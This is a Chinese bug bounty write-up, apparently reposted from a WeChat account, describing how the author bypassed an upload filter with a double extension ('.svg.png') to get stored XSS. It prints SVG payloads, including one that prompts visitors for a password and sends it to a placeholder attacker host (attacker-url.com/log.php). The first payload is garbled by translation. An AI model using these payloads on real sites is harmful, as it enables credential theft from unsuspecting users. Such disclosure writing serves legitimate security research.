今天我决定发布一篇关于文件上传漏洞的文章,该漏洞会导致存储型XSS,随后受害者的凭据被盗,受害者会获得文件上传的URL。我认为,如今,Bug Hunter更注重寻找业务逻辑漏洞,而不是XSS、SQLI等技术漏洞……因为Web应用程序的安全性得到了提高。然而,你仍然可以找到技术漏洞,比如文件上传,我将在我的文章中进一步讨论。
1、使用提供的凭据登录到 Web 应用程序。
2、做了一些手动枚举:
3、应用程序有很多 Web 表单:
4)如您所见,此表单有各种文本字段,尝试通过手动模糊测试表单来查找诸如sqli,xss,ssti之类的漏洞,但没有成功。
徽标、背景图片和广告图片引起了我的注意,我决定上传一些恶意制作的文件并检查会发生什么。
5)上传此文件并在上传时产生此错误:
6)我如何绕过这个问题:
将我的文件名重命名为
“Fileupload.svg” 改为 “Fileupload.svg.png”
7)现在我单击“下一步”,并被重定向到可以访问这些文件的端点。
Svg 文件有效载荷已上传至此处:
<?xml 版本=”1.0" standalone=”no”?><!DOCTYPE svg PUBLIC “-//W3C//DTD SVG 1.1//EN” “http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg 版本=”1.1" baseProfile=”full” xmlns=”http://www.w3.org/2000/svg"><多边形id =“三角形”点=”0,0 0,50 50,0“填充=”#009901“描边=”#004400“/><script type=”text/javascript”>警报(document.cookie);</script></svg>
将上述有效负载修改为以下形式,以窃取凭证:
<?xml version="1.0" standalone="no"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN""http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg"> <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/> <script> var passwd = prompt("输入您的密码以继续"); var xhr = new XMLHttpRequest(); xhr.open("GET","https://attacker-url.com/log.php?password="+encodeURI(passwd)); xhr.send(); </script> </svg>
9)再次上传修改后的payload文件:
10)访问时间:
上传后按下一步按钮并访问这些。
11)我查看了绿色 svg 图像,网页开始响应并提示我输入随机密码。
原文始发于微信公众号(实战安全研究):赏金猎人| 我利用文件上传功能利用存储型XSS漏洞导致网站访问者凭证被盗,并因此获得了1000美元的赏金。
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论